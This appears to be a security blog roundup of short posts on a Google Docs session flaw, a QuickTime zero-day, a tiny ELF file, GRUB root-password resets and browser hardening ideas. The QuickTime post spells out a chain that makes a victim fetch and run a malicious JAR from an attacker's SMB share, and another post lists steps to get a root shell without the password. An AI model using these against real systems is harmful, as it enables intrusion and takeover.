Mystery Flaw in Google Docs

A potential security flaw was found by accident at Google Docs. The Google Docs session appeared to have "crossed over" with another users. Meaning you may end up seeing a document owned by you (after login), but not (supposed to) owned by you.

Till now, there is no way to re-produce the security flaw at the moment. It suspects the Google Docs flaw comes from a JavaScript error in how Google manages user sessions.

>>> http://blog.isc2.org/isc2_blog/2008/09/serious-securit.html

Zero-Day for QuickTime Round Up

Here I tried summarized the 0-day vulnerability for Quicktime found recently at GNUCitizen. The bug is simple and can lead to command execution.

The attack vectors for this bug is the access to malicious NetBIOS share is not filtered. So hypothetically all the applications which sends user-supplied file:// protocol URLs to FileProtocolHandler is vulnerable to the same attack.

rundll32 url.dll,FileProtocolHandler URL

QuickTime SMIL file, hosted at a malicious site, is the begin of the story. An attribute, called qt:next, within the SMIL file will instruct the QuickTime player to play the next mp3 file. This attribute can point to protocol handler such as http:// or file://

If the following URL is passed to the FileProtocolHandler using the attribute above:

file://172.16.3.124/evil/evil.lnk

And the content of the evil.lnk is point to the following JAR file:

\\172.16.3.124\evil\evil.jar

Then it will bypass the following Windows protection and cause Java interpreter to execute the mailious JAR archive.

• XP SP1 and above will warn user that an application is launched from an untrusted share.
• This applies to all the executable extensions such as exe, .bat, .cmd, .vbs, .js, .application and other known executable file formats.

However, it seems that Windows protetion has exclude the JAR archive, which will parsed by Java interpreter. It will happily load the file and attack the victim’s system.

References:

• The QuickTime Vulnerability Overview
• Details of the QuickTime Vulnerability

The Ever Smallest ELF File

What's the smallest executable ELF file in Linux? 45 bytes.

This 45-byte file is less than 1/8 the size of the smallest ELF executable we could create using the standard tools, and is less than 1/15 the size of the smallest file we could create using pure C code. We have stripped everything out of the file that we could, and put to dual purpose most of what we couldn't.

Of course, half of the values in this file violate some part of the ELF standard, and it's a wonder than Linux will even consent to sneeze on it, much less give it a process ID. This is not the sort of program to which one would normally be willing to confess authorship.

On the other hand, every single byte in this executable file can be accounted for and justified. How many executable files have you created lately that you can say that about?

>>> http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html

Reset root's Password (with GRUB)

If you lost your root's password, but you have GRUB boot loader installed. Here's the list of steps to reset it:

• Power up your machine and press ESC while GRUB menu starts.
• If there is a 'recovery mode' option, select it and press 'b' to boot into single user mode.
• Press 'e' (to edit) to the default menu option.
• Highlight the line with 'kernel' and press 'e' again.
• Append 'single' at the end of the line.
• Press 'b' to boot into single-user mode.

With this, you should end up getting a shell with root privilege (#).

Note, some distribution might require you to re-mount the partition (with /etc inside) with read-write:

mount -o rw,remount /dev/hda1 /

Another way is to reset password with Live CD.

• Boot the machine with a LiveCD.
• Search the partition that hold the /etc/passwd file: sudo fdisk -l
  
• Make a directory mount point: sudo mkdir /media/sda1
• Mount the partition with the mount point: sudo mount /dev/sda1 /media/sda1
• Change root to the mount point: sudo chroot /media/sda1
• Change the password: passwd root
  

10 Things to Help Fixing the Web

Very interesting ideas on fixing the web.

>>>> From GNUcitizen's Let's Fix the Web:

Here they are:

1. Allow the user to sandbox and unsandbox applications and web resources with a single click
2. Sandbox by default known applications such as GMail, Yahoo Mail, etc.
3. In the sandbox, mark all cookies as secure to prevent session leaks
4. In the sandbox, mark none-session cookies as httpOnly to prevent session hijacks due to XSS
5. Make sure that while on HTTPS, all embedded resources are delivered over HTTPS as well.
6. Provide the option to turn off JavaScript, JAVA, Flash, SilverLight, etc on per-sandbox basis
7. Block any external requests to sandboxed applications
8. Implement the PHPIDS signature matching mechanism in JavaScript
9. If the HTML structure is heavily broken, block the page to prevent some types of persistent XSS
10. Record SSL signatures on trusted network and warn if signature changes while on untrusted network